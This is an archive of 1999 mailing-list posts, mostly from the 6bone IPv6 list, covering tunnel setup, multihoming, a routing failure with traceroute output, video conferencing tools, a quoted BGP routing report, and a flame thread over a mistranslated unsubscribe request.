is strictly forbidden, references to services provided by vendors
by vendors and/or their representatives is acceptable within reason.
Please don't abuse this list.

Please post in plain text only, no word processor documents, HTML,
rich text etc, and please post in English.

This list is not moderated, but only list members may post to it.

Thankyou,

Carl <carl@bl.echidna.id.au>

send :

	subscribe ipv6-au <your email address>

to 


	ipv6-au-request@e-Secure.com.au

To subscribe.


-------

As far as I know, there's no other list of this type in Oz,
please let me know if it's redundant.

Please also pass this on to anyone you think may be interested.

Thanks

Carl




From 6bone-owner  Thu Oct  7 01:55:46 1999
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Hi,all,

   my linux system with the kernel linux-2.2.10 and glibc-2.0.7 doesn't
support shared library, and I want to try out BIS(Bump-in-the-Stack),
who can tell me that how I can update my system to support the shared
library?
   Any help will be greatly appreciated,thanks in advance!

Lisa

From 6bone-owner  Fri Oct  8 06:34:25 1999
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From: Matthew Schlegel <nitehawk@1ststep.net>
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Subject: Multihoming IP6
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While I'm not quite at the point where I can do anything meaningful with
multihoming IP6 yet, I am planning to be prepared to do so in the near futu=
re.
Anyone else done any multihoming work (Leaf or NLA, not TLA)?  Is there
Provider Independant space anywhere for this sort of usage?  If not (the ca=
se
AFAIK), what would the recommended way of routing for load balancing and
redundancy.

Because of aggregation, I'm not sure how a provider assigned block would be
routable via two separate connections (different provider on each connection
is the idea).

Ideas?


--=20
Matthew Schlegel
Get Paid to surf the web! http://www.alladvantage.com/go.asp?refid=3Ddsc304

Encryption Keys:
Type     KeyID       Created     Fingerprint
PGP DSS  0x30AFD26D  1998-08-20  FC89 1E36 353E BDAA FF81  DD30 A7B0 3942 3=
0AF D26D
PGP RSA  0x3B80FDDF  1998-09-15  2110 E419 93DD 27DD  3229 168F D091 B9F2

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From 6bone-owner  Sun Oct 10 03:16:27 1999
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Hi,
    I want to setup a IPv6 site.Now,I have finished upgrading Redhat 6.0 =
to support IPv6 on=20
two  workstations and they could connect in LAN.But,I donot know how to =
setup a tunnel which connect to IPv6 backbone.Who can tell me the next =
step?
Thx.
***********************************************
Chen Xiuzhong
Network Test Lab
Institute of Computing Technology
Tel: 62565533-9218
***********************************************

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<DIV><FONT size=3D2>Hi,</FONT></DIV>
<DIV><FONT size=3D2></FONT><FONT color=3D#000000 =
size=3D2>&nbsp;&nbsp;&nbsp; I want to=20
setup a IPv6 site.Now,I have finished upgrading Redhat 6.0 to support =
IPv6 on=20
</FONT></DIV>
<DIV><FONT size=3D2>two&nbsp; workstations and they could connect in =
LAN.But,I=20
donot know how to setup a tunnel which connect to IPv6 backbone.Who can =
tell me=20
the next step?</FONT></DIV>
<DIV><FONT size=3D2>Thx.</FONT></DIV>
<DIV><FONT color=3D#000000=20
size=3D2>***********************************************<BR>Chen=20
Xiuzhong<BR>Network Test Lab<BR>Institute of Computing =
Technology<BR>Tel:=20
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From 6bone-owner  Sun Oct 10 16:04:34 1999
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Reply-To: "Fernando Mendonça" <nandom@ruralrj.com.br>
From: "Fernando Mendonça" <nandom@ruralrj.com.br>
To: "Chen xiuzhong" <chenxz@ict.ac.cn>, <6bone@ISI.EDU>
References: <001b01bf1308$aef32660$5a27e29f@L3.ict.ac.cn>
Subject: Re: ipv6 tunnel
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  -----
  Por favor, me tirem dessa lista.

  Muito obrigado

  Please, get out of this list.

  Thank you very much

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  <DIV style=3D"FONT: 10pt arial">-----
  <DIV>Por favor, me tirem dessa lista.</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Muito obrigado</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Please,&nbsp;get out of this list.</DIV>
  <DIV>&nbsp;</DIV>
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From 6bone-owner  Sun Oct 10 19:10:27 1999
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From: Smirk35@aol.com
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Date: Sun, 10 Oct 1999 22:03:59 EDT
Subject: Re: ipv6 tunnel
To: nandom@ruralrj.com.br, chenxz@ict.ac.cn, 6bone@ISI.EDU
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Fernando, I have been on this list for 3 1/2 years and have seen some jerks, 
but you take the cake.
I believe that you have no authority over this list and have no right to tell 
anyone what to do.

When this list was first started, it use to be a community of thought and 
service for the whole world to help and think with outreaching abilities.

Let me know "everyone" if this list has changed from that, so that I can 
leave this list and leave you and Fernando to insults. 

I would request that Fernando keep his comments to himself.

Mark


In a message dated 10/10/1999 7:19:19 PM Eastern Daylight Time, 
nandom@ruralrj.com.br writes:

<< 
   -----
   Por favor, me tirem dessa lista.
 
   Muito obrigado
 
   Please, get out of this list.
 
   Thank you very much
 
 -------------------- >>

From 6bone-owner  Sun Oct 10 21:37:08 1999
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Message-ID: <01BF1380.BFBC6600.hansolofalcon@worldnet.att.net>
From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'Smirk35@aol.com'" <Smirk35@aol.com>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: ipv6 tunnel
Date: Mon, 11 Oct 1999 00:36:47 -0400
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Hello from Gregg C Levine usually at Jedi Knight Computers
I have been here for only 18 months, at best, and I find that your 
opininion is correct. That bantha brained joker, has no authority 
whatsoever regarding such things. In fact, our correspondent in China asked 
a logical question, which I myself asked three days into the list. Granted, 
he thinks he is right, but so? So did Trade Federation, and Galactic 
Empire, and look what happened to them. Anyway, I suggest that you do not 
leave this list, and instead, invite Fernando to depart the list, instead. 
Besides, the list 'droid, attended by his humans, will be suggesting that 
in a matter of days, (hint, hint!). My problems of course, are with my ISP, 
not the content of this discussion, and if we want to exchange barbs, and 
blaster bolts, and of course, bowcaster shots, we can take this discussion 
off line. The big problem is that not many mailers are equipped to properly 
translate and display foreign languages, so we really haven't a snowball's 
chance on Tatooine on that account. I would be interested in finding out 
your thoughts on this, in private, and off list. By the way, to properly 
work with ipv6, it requires a static set of address, which is why I 
included that complaint.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"They were in the wrong place, at the wrong time, naturally they became 
heroes."
Princess Leia Organna of Alderann, Senator
"Remember, the Force will be with you."
Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)

On Sunday, October 10, 1999 10:04 PM, Smirk35@aol.com 
[SMTP:Smirk35@aol.com] wrote:
> Fernando, I have been on this list for 3 1/2 years and have seen some 
jerks,
> but you take the cake.
> I believe that you have no authority over this list and have no right to 
tell
> anyone what to do.
>
> When this list was first started, it use to be a community of thought and 
> service for the whole world to help and think with outreaching abilities.
>
> Let me know "everyone" if this list has changed from that, so that I can
> leave this list and leave you and Fernando to insults.
>
> I would request that Fernando keep his comments to himself.
>
> Mark
>
>
> In a message dated 10/10/1999 7:19:19 PM Eastern Daylight Time,
> nandom@ruralrj.com.br writes:
>
> <<
>    -----
>    Por favor, me tirem dessa lista.
>
>    Muito obrigado
>
>    Please, get out of this list.
>
>    Thank you very much
>
>  -------------------- >>
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From 6bone-owner  Sun Oct 10 23:27:25 1999
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Date: Sun, 10 Oct 1999 23:36:23 -0700 (PDT)
From: Thomas Kuehne <tkuehne1@yahoo.com>
Subject: Re: ipv6 tunnel
To: 6bone@ISI.EDU
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Hi Folks!

Not being an expert, could it be that Fernando's
portugese translates to "Please, get ME out of this
list?", which he omitted by way of a typo in his own
translation?

  Regards,

    Thomas

--- Fernando Mendonça <nandom@ruralrj.com.br> wrote:
> 
>   -----
>   Por favor, me tirem dessa lista.
> 
>   Muito obrigado
> 
>   Please, get out of this list.
> 
>   Thank you very much
> 


=====

__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

From 6bone-owner  Mon Oct 11 00:41:16 1999
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Date: Mon, 11 Oct 1999 09:39:02 +0000
To: 6bone@ISI.EDU
From: Petter Bengtsson <petbe736@student.liu.se>
Subject: What do we need to set up a IPv6 computer
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Hello everyone,

My name is Petter Bengtsson and I'm a student at University och Linköping 
Campus Norrköping. And we are thinking about installing an IPv6 computer 
and I wonder what I need exactly, like software router etc

Best Regards
Petter Bengtsson
petbe736@student.liu.se



From 6bone-owner  Mon Oct 11 02:24:01 1999
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From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: tkuehne1@yahoo.com
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
Message-ID: <009DF763.86D200B2.16@cc.univie.ac.at>
Subject: Re: ipv6 tunnel
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>Hi Folks!
>
>Not being an expert, could it be that Fernando's
>portugese translates to "Please, get ME out of this
>list?", 

  indeed :-)

>which he omitted by way of a typo in his own
>translation?
>
>  Regards,
>
>    Thomas
>
>--- Fernando Mendonça <nandom@ruralrj.com.br> wrote:
>> 
>>   -----
>>   Por favor, me tirem dessa lista.
>> 
>>   Muito obrigado
>> 
>>   Please, get out of this list.
>> 
>>   Thank you very much
>> 
>=====
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB (&NIC) Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Common sense requires a common language...
 __________________________________________________________________________

From 6bone-owner  Mon Oct 11 02:44:07 1999
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From: BAUDOT Alain CNET/DSE/CAE <alain.baudot@cnet.francetelecom.fr>
To: 6bone@ISI.EDU
Subject: routing problem ?
Date: Mon, 11 Oct 1999 11:43:57 +0200
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It looks like a routing problem when I try to access a part of the 6bone.
Traceroute to www.ipv6.nas.nasa.gov [3ffe:c00:8001::1] ends by that :
	5     *     3ffe:1100:0:410:260:3eff:fe59:4d93 reports: No route to
destination.
Traceroute to www.ipv6.euronet.be [3ffe:2501:200:2::1] ends this way :
	 13   262 ms     *      260 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
	 14     *        *        *     Request timed out.
	 15   214 ms   244 ms   279 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
	 16     *        *        *     Request timed out.
	 17   225 ms   277 ms     *     3ffe:1100:0:410:260:3eff:fe59:4d93
	 18     *        *        *     Request timed out.
	 19   287 ms     *      458 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
	 20     *        *        *     Request timed out.
	 21   243 ms   234 ms   247 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
	 22     *        *        *     Request timed out.
	 23   262 ms   279 ms     *     3ffe:1100:0:410:260:3eff:fe59:4d93
	^C
Can anyone solve that ?
Thanx a lot.
Alain Baudot

----------------------------------------------------------------------------
--------------------------------------
Alain BAUDOT
France Telecom                        
CNET/Caen   DSE/SPI		e-mail :alain.baudot@cnet.francetelecom.fr
42 rue des coutures         
BP 6243                            	Phone :	+33 2 31 75 94 27
14066 CAEN CEDEX       	Fax :  	+33 2 31 73 56 26

----------------------------------------------------------------------------
-----------------------------------------

From 6bone-owner  Mon Oct 11 03:06:53 1999
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Reply-To: <chris@innotts.net>
From: "Chris Cain" <chris@innotts.net>
To: <6bone@ISI.EDU>
Subject: RE: ipv6 tunnel
Date: Mon, 11 Oct 1999 11:10:46 +0100
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From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Thomas Kuehne

>Hi Folks!
>
>Not being an expert, could it be that Fernando's
>portugese translates to "Please, get ME out of this
>list?", which he omitted by way of a typo in his own
>translation?


Probably !, knowing nothing at all about portugese
but babelfish.altavista.com translates it to


'Please, they take off me of this stack. Very obliged'

Chris Cain 



From 6bone-owner  Mon Oct 11 03:15:58 1999
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CC: 6Bone-KR <6bone-kr@6bone.ne.kr>, "APAN(eng)" <engineering@kr.apan.net>,
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Subject: video conference tools in IPv6
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If you hope to test the video conference on IPv6,
see following URLs.

http://www-mice.cs.ucl.ac.uk/multimedia/software/rat/experimental/
http://www-mice.cs.ucl.ac.uk/multimedia/software/vic/

Will you send me the test results?

Thanks.

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon Oct 11 03:33:45 1999
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To: Petter Bengtsson <petbe736@student.liu.se>
CC: =?EUC-KR?B?sbnBpg==?= 6Bone <6bone@ISI.EDU>
Subject: Re: What do we need to set up a IPv6 computer
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Will you install FreeBSD O/S, KAME IPv6 stack in your PC?

http://www.FreeBSD.ORG/
http://www.freenet6.net/

It's a easy way to enter IPv6 world.

Thanks.


Petter Bengtsson wrote:

> Hello everyone,
>
> My name is Petter Bengtsson and I'm a student at University och Linköping
> Campus Norrköping. And we are thinking about installing an IPv6 computer
> and I wonder what I need exactly, like software router etc
>
> Best Regards
> Petter Bengtsson
> petbe736@student.liu.se

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon Oct 11 03:48:16 1999
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To: BAUDOT Alain CNET/DSE/CAE <alain.baudot@cnet.francetelecom.fr>
cc: 6bone@ISI.EDU
Subject: Re: routing problem ? 
In-reply-to: Your message of "Mon, 11 Oct 1999 11:43:57 +0200."
             <00DC997FEFAFD21192D800A024D43F4D08571E@c-mhs.caen.cnet.fr> 
From: Ole Troan <ot@cisco.com>
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it should work now. 
it was a tunnel configuration problem, seems that NASA had changed their
IPv4 tunnel endpoint address.

cheers,
Ole

> It looks like a routing problem when I try to access a part of the 6bone.
> Traceroute to www.ipv6.nas.nasa.gov [3ffe:c00:8001::1] ends by that :
> 	5     *     3ffe:1100:0:410:260:3eff:fe59:4d93 reports: No route to
> destination.
> Traceroute to www.ipv6.euronet.be [3ffe:2501:200:2::1] ends this way :
> 	 13   262 ms     *      260 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
> 	 14     *        *        *     Request timed out.
> 	 15   214 ms   244 ms   279 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
> 	 16     *        *        *     Request timed out.
> 	 17   225 ms   277 ms     *     3ffe:1100:0:410:260:3eff:fe59:4d93
> 	 18     *        *        *     Request timed out.
> 	 19   287 ms     *      458 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
> 	 20     *        *        *     Request timed out.
> 	 21   243 ms   234 ms   247 ms  3ffe:1100:0:410:260:3eff:fe59:4d93
> 	 22     *        *        *     Request timed out.
> 	 23   262 ms   279 ms     *     3ffe:1100:0:410:260:3eff:fe59:4d93
> 	^C
> Can anyone solve that ?
> Thanx a lot.
> Alain Baudot
> 
> ----------------------------------------------------------------------------
> --------------------------------------
> Alain BAUDOT
> France Telecom                        
> CNET/Caen   DSE/SPI		e-mail :alain.baudot@cnet.francetelecom.fr
> 42 rue des coutures         
> BP 6243                            	Phone :	+33 2 31 75 94 27
> 14066 CAEN CEDEX       	Fax :  	+33 2 31 73 56 26
> 
> ----------------------------------------------------------------------------
> -----------------------------------------
> 



From 6bone-owner  Mon Oct 11 04:07:21 1999
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Reply-To: "Raphael Lee" <raphael@icu.ac.kr>
From: "Raphael Lee" <raphael@icu.ac.kr>
To: <ksbn@kt.co.kr>, "Xavier" <xavier@euro.net>, "±¹Á¦ 6Bone" <6bone@ISI.EDU>
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Subject: Re: video conference tools in IPv6
Date: Mon, 11 Oct 1999 20:00:25 +0900
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I did it on Kame & FreeBSD 3.1.

UCLA's 'vic' and 'vat' (fixed by KAME) are possible on IPv6 but  it has a few error. 
You have to fix source code or compiling method.

And, 'rat' is not working on IPv6, yet.

See you

--------------------------------------------------------
Raphael Lee
Network Architecture Lab.
Information & Communications Univ. in Korea.
Tel. 82-42-866-6187
PCS. 82-16-567-4545
E-Mail. raphael@icu.ac.kr
Homepage. http://vega.icu.ac.kr/~raphael


> If you hope to test the video conference on IPv6,
> see following URLs.
> 
> http://www-mice.cs.ucl.ac.uk/multimedia/software/rat/experimental/
> http://www-mice.cs.ucl.ac.uk/multimedia/software/vic/
> 
> Will you send me the test results?
> 
> Thanks.
> 
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8329
>   E-mail :  ksbn@kt.co.kr
> --
> 
> 

From 6bone-owner  Mon Oct 11 05:14:30 1999
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Cc: 6bone@ISI.EDU
Subject: Re: What do we need to set up a IPv6 computer
In-Reply-To: Petter Bengtsson's message of Mon, 11 October 1999 09:39:02 +0000 <4.2.0.58.19991011093150.00a2a100@student.liu.se>
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Petter Bengtsson <petbe736@student.liu.se> said:
> Hello everyone,
> My name is Petter Bengtsson and I'm a student at University och Linköping 
> Campus Norrköping. And we are thinking about installing an IPv6 computer 
> and I wonder what I need exactly, like software router etc

  To not give a long-winded answer, I'll simply suggest you look at
http://www.6bone.net/  There is a bunch of good information there
(even if occasionally somewhat dated), and it should certainly be able
to answer this current question.

                     - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Mon Oct 11 08:02:47 1999
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From: =?iso-8859-1?Q?Mu=F1oz_Astudillo_Antonio?= <amunoz@scanda.com.mx>
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Hi!

That´s right

The tranlation is 
"Please get ME out of this list"

I think Fernando has no intention to insult....

Antonio Muñoz

-----Original Message-----
From: Chris Cain [mailto:chris@innotts.net]
Sent: Lunes, 11 de Octubre de 1999 04:11 a.m.
To: 6bone@ISI.EDU
Subject: RE: ipv6 tunnel


From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Thomas Kuehne

>Hi Folks!
>
>Not being an expert, could it be that Fernando's
>portugese translates to "Please, get ME out of this
>list?", which he omitted by way of a typo in his own
>translation?


Probably !, knowing nothing at all about portugese
but babelfish.altavista.com translates it to


'Please, they take off me of this stack. Very obliged'

Chris Cain 


From 6bone-owner  Mon Oct 11 10:43:31 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 10/10/99 6Bone Routing Report
Date: Mon, 11 Oct 1999 10:42:44 -0700
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For several days, the bogus 0::/0, 1000::/3, and 1800::/4 routes were not
showing up. And suddenly they are back. And in fact there are a bunch of new
bogus routes. What has changed? Has some router come back on line?

(I believe these routes do not originate with the putative origin-AS. I
believe some buggy router elsewhere is injecting them.)

Rich

> -----Original Message-----
> From: owner-6bone-routing-report@merit.edu
> [mailto:owner-6bone-routing-report@merit.edu]
> Sent: Monday, October 11, 1999 12:05 AM
> To: 6bone-routing-report@merit.edu
> Subject: 10/10/99 6Bone Routing Report
> 
> 
> See http://www.merit.edu/ipma for a more detailed report on routing 
> problems and recommendations on ways service providers can limit the 
> spread of invalid routing information.
> Send comments and questions to ipma-support@merit.edu
> 
> To unsubscribe from this list, send mail to 
>     6bone-routing-report-request@merit.edu.
> A hypermail archive is available at
>     http://www.merit.net/mail.archives/html/6bone-routing-report/
> 
> Also see http://www.caida.org for more information about Internet 
> statistics collection research efforts.
> 
> ---------------------------------------------
> This report is for 10/10/99, peering with
>   VIAGENIE (AS10566)  CISCO (AS109)  IDIR (AS11264)  CICNET 
> (AS1225)  WIDE (AS2500)  SICS (AS2839)  TELEBIT (AS3263)  
> ETRI (AS3559)  CERNET (AS4538)  6COM (AS561)  MSR-REDMOND 
> (AS5761)  UUNET-US (AS704)  CAIRN (AS7081)  NUS-IRDU (AS7610)
> ---------------------------------------------
> 
> Size of 6Bone Routing Table:
> 	Max = 225, Min = 38, Average = 223
> 	81 Unique Autonomous System (AS) numbers
> 
> BGP4+ Traffic Summary:  
> 	Announcements = 129652    Withdraws = 63154   Unique 
> Routes = 135
> 
> Non-6Bone Prefixes (outside of 3ffe::/16):
> Format: Prefix path AS-Path (Origin-AS -- Availability)
> --------------------------------
>   0000::/0 path 1225 1673 (ANSNET -- 0%)
>   0000::/0 path 1225 33 10318 6175 5761 (MSR-REDMOND -- 1%)
>   0000::/3 path 7610 3462 3263 237 1225 33 10318 6175 5761 
> (MSR-REDMOND -- 0%)
>   1000::/3 path 1225 33 10318 6175 5761 (MSR-REDMOND -- 1%)
>   1000::/4 path 561 10566 237 1225 1673 (ANSNET -- 0%)
>   1800::/4 path 1225 1673 (ANSNET -- 0%)
>   2001:200::/35 path 7610 3425 2500 (WIDE -- 100%)
>   2001:400::/35 path 7610 3425 293 (ESNET -- 100%)
>   2001:600::/35 path 1225 1849 (UUNET-UK -- 100%)
>   2001:608::/35 path 1225 4556 5539 (SPACENET-DE -- 100%)
>   2001:610::/35 path 1225 1103 (SURFNET -- 100%)
>   2001:618::/35 path 10566 5408 1752 (BT-LABS -- 100%)
>   2001:620::/35 path 1225 2547 559 (SWITCH -- 100%)
>   2002::/16 path 5761 (MSR-REDMOND -- 100%)
>   50b0:b0d:b0d:b0d:b0d:a00::/87 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 2%)
>   5b8e:8461:524:f4ef:4321:cd60::/96 path 1225 109 33 10318 
> 6175 5761 (MSR-REDMOND -- 2%)
>   5f06:8900::/32 path 109 1673 (ANSNET -- 0%)
>   5f0c:bf00::/32 path 7610 3462 3263 (TELEBIT -- 9%)
>   8e84:6105:24f4:6106:1398::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:1aec::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:1e10::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:3e4::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:814::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:920::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:a2c::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:c0::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4:6106:e5c::/91 path 1225 109 33 10318 6175 
> 5761 (MSR-REDMOND -- 0%)
>   8e84:6105:24f4::/91 path 1225 109 33 10318 6175 5761 
> (MSR-REDMOND -- 0%)
>   ::35e0/120 path 7610 3462 3263 (TELEBIT -- 9%)
>   a3c7:8800::/21 path 1225 109 33 10318 6175 5761 (MSR-REDMOND -- 2%)
> 
> Poorly Aggregated Prefixes (>24 in 3ffe:0000::/17 or >28 in 
> 3ffe:8000::/17):
> Format: Prefix path AS-Path (Origin-AS -- Availability)
> --------------------------------
>   FIBERTEL (3ffe:3800::/24) had 9 route(s)
>     3ffe:38e0:ffff::/126 path 1225 1275 1717 786 1849 109 
> 1251 4270 11008 (CENTAURI-AR -- 99%)
>     3ffe:3800::3:0000/112 path 1225 1275 1717 786 1849 109 
> 1251 4270 11008 (CENTAURI-AR -- 99%)
>     3ffe:3800:fffc::/64 path 1225 1275 1717 786 1849 109 1251 
> 4270 11008 (CENTAURI-AR -- 99%)
>     3ffe:38e0:1::/64 path 1225 1275 1717 786 1849 109 1251 
> 4270 11008 (CENTAURI-AR -- 99%)
>     3ffe:3800:fffb::/48 path 109 1251 4270 (UTN-FRLP -- 99%)
>     3ffe:3800:fffc::/48 path 1225 1275 1717 786 1849 6389 109 
> 1251 4270 11008 (CENTAURI-AR -- 99%)
>     3ffe:3800:3ffb::/48 path 1225 1275 1717 786 1849 109 1251 
> 4270 (UTN-FRLP -- 99%)
>     3ffe:38e0:8000::/48 path 1225 1275 1717 786 1849 7610 237 
> 10566 1930 1251 4270 11008 11008 11008 11008 10605 ( -- 5%)
>     3ffe:38e0::/32 path 109 1251 4270 11008 (CENTAURI-AR -- 99%)
> 
>   STUBA (3ffe:2200::/24) had 7 route(s)
>     3ffe:2280:4:2::/64 path 109 3462 3263 2852 (CESNET -- 100%)
>     3ffe:2200:0:8007::/64 path 109 3462 3263 2852 (CESNET -- 100%)
>     3ffe:2280:4:3::/64 path 109 3462 3263 2852 (CESNET -- 100%)
>     3ffe:2280:4:5::/64 path 109 3462 3263 2852 (CESNET -- 100%)
>     3ffe:2280:4:6::/64 path 109 3462 3263 2852 (CESNET -- 100%)
>     3ffe:2280:4:601::/64 path 109 3462 3263 2852 (CESNET -- 100%)
>     3ffe:2280:4:602::/64 path 109 3462 3263 2852 (CESNET -- 100%)
> 
>   SPRINT (3ffe:2900::/24) had 4 route(s)
>     3ffe:29a1::/64 path 1225 1275 1717 786 1849 109 1251 4270 
> 11008 (CENTAURI-AR -- 99%)
>     3ffe:2900:c::/48 path 2839 1835 1717 786 1849 1225 48 
> 11261 (ASCI -- 100%)
>     3ffe:29a1:c::/48 path 1225 1275 1717 786 1849 109 1251 
> 4270 11008 (CENTAURI-AR -- 99%)
>     3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 100%)
> 
>   CICNET (3ffe:900::/24) had 4 route(s)
>     3ffe:900:1::/48 path 1225 1312 (LORE/VT -- 100%)
>     3ffe:900:2::/48 path 1225 3899 (CHICO -- 100%)
>     3ffe:902:2::/48 path 1225 1849 786 5623 1887 (SZCZECIN -- 100%)
>     3ffe:902::/32 path 2839 1835 1717 786 1849 5539 4556 1225 
> 8664 (ICM-PL -- 100%)
> 
>   SWITCH (3ffe:2000::/24) had 3 route(s)
>     3ffe:202a:1::/64 path 2839 1835 1717 786 1849 1225 2547 
> 559 1836 (SIMULTAN -- 100%)
>     3ffe:2024:1::/48 path 2839 1835 1717 786 1849 1225 1103 
> 559 1205 (TK-LINZ/JKU-LINZ -- 100%)
>     3ffe:202a:1::/48 path 1225 2547 559 1836 (SIMULTAN -- 100%)
> 
>   SMS (3ffe:2600::/24) had 3 route(s)
>     3ffe:2610:2::/48 path 2839 3274 8432 (TF-INET-DEV -- 95%)
>     3ffe:2610:5::/48 path 2839 3274 5469 (AHLSTROM -- 94%)
>     3ffe:2620::/32 path 2839 1741 (FUNET/OTOL/VTTMPOLI -- 77%)
> 
>   UUNET-UK (3ffe:1100::/24) had 2 route(s)
>     3ffe:1108:40a::/48 path 1225 4556 5539 (SPACENET-DE -- 100%)
>     3ffe:1108:1400::/40 path 704 (UUNET-US -- 100%)
> 
>   AMS-IX (3ffe:3000::/24) had 2 route(s)
>     3ffe:3001:2::/48 path 2839 1835 1717 786 1849 3251 1930 
> 1251 109 1225 2547 559 1103 5623 (ATT-LABS-EUROPE -- 100%)
>     3ffe:3001:3::/48 path 2839 1835 1717 786 1849 1225 2547 
> 559 1103 8251 (CISTRON -- 100%)
> 
>   GRNET (3ffe:2d00::/24) had 2 route(s)
>     3ffe:2d00:2::/48 path 2839 1835 1717 786 1849 1225 48 
> 1752 5408 3323 (NTUA -- 100%)
>     3ffe:2d00:b::/48 path 10566 5408 8617 (AEGEAN -- 99%)
> 
>   JANET (3ffe:2100::/24) had 2 route(s)
>     3ffe:2100:1:17::/64 path 1225 1275 (JOIN -- 99%)
>     3ffe:2101::/48 path 10566 5408 1752 3185 (ULANC -- 100%)
> 
>   VBNS (3ffe:2800::/24) had 1 route(s)
>     3ffe:2802::/32 path 1225 1312 (LORE/VT -- 100%)
> 
>   UNI-C (3ffe:1400::/24) had 1 route(s)
>     3ffe:1402:1:1::/64 path 1225 4556 5539 1273 (ECRC -- 100%)
> 
>   NRL (3ffe:f00::/24) had 1 route(s)
>     3ffe:f00:2::/48 path 2839 1835 1717 786 1849 5539 4556 
> 1225 5609 48 11261 (ASCI -- 100%)
> 
>   SURFNET (3ffe:600::/24) had 1 route(s)
>     3ffe:604:5::/48 path 2839 1835 1717 786 1849 1225 2547 
> 559 1103 8251 (CISTRON -- 100%)
> 
>   JOIN (3ffe:400::/24) had 1 route(s)
>     3ffe:400:1c0::/48 path 2839 3274 8319 (REGIO-DE -- 96%)
> 
>   INR (3ffe:2400::/24) had 1 route(s)
>     3ffe:2401::/32 path 109 2895 2118 (STC-IPNG -- 99%)
> 
>   IPF (3ffe:3400::/24) had 1 route(s)
>     3ffe:3400:300::/48 path 10566 5408 1752 3185 786 1849 109 
> 5409 5424 ( -- 100%)
> 
>   RCCN (3ffe:3100::/24) had 1 route(s)
>     3ffe:3102::/48 path 10566 1930 3243 ( -- 100%)
> 
> Prefixes from Different Origin AS:
> Format: Prefix path AS-Path (Origin-AS -- Availability)
> --------------------------------
>   VIAGENIE (3ffe:b00::/24) path 10566 (VIAGENIE -- 100%)
>   VIAGENIE (3ffe:b00::/24) path 7081 145 6509 ( -- 99%)
> 
> The Top Five Most Active Prefixes:
> Format: AS-Path (Announce/Withdraw -- Availability)
> ----------------------------------
> 1. ANSNET (3ffe:d00::/24) had 57403 BGP+ updates (517 unique aspaths)
>   7610 3425 293 5609 1673 (1924/693 -- 59%)
>   1225 1849 145 293 1673 (664/135 -- 34%)
>   7610 1849 145 293 1673 (649/180 -- 34%)
>   1225 1849 7610 3425 293 5609 1673 (1054/234 -- 28%)
>   10566 10318 145 293 1673 (895/130 -- 27%)
>   7081 293 1673 (899/355 -- 23%)
>   2839 3274 5539 4556 109 1673 (450/274 -- 17%)
>   10566 6509 293 1673 (2323/239 -- 16%)
>   10566 6509 293 109 1673 (4331/523 -- 15%)
>   7081 145 3425 293 5609 1673 (446/156 -- 13%)
>   10566 10318 145 3425 293 5609 1673 (1825/545 -- 13%)
>   ...Truncated...
> 
> 2. UIO (3ffe:2a00::/24) had 9599 BGP+ updates (35 unique aspaths)
>   2839 224 (487/0 -- 100%)
>   7081 6175 3274 2839 224 (949/131 -- 98%)
>   1225 1275 1835 2839 224 (485/490 -- 25%)
>   10566 6175 3274 2839 224 (1415/522 -- 24%)
>   5761 6175 3274 2839 224 (452/450 -- 22%)
>   561 5609 5623 2839 224 (384/370 -- 20%)
>   109 3462 3263 2839 224 (390/406 -- 17%)
>   7610 1849 1225 237 2839 224 (442/383 -- 15%)
>   2500 2500 2500 33 3462 3263 2839 224 (288/295 -- 7%)
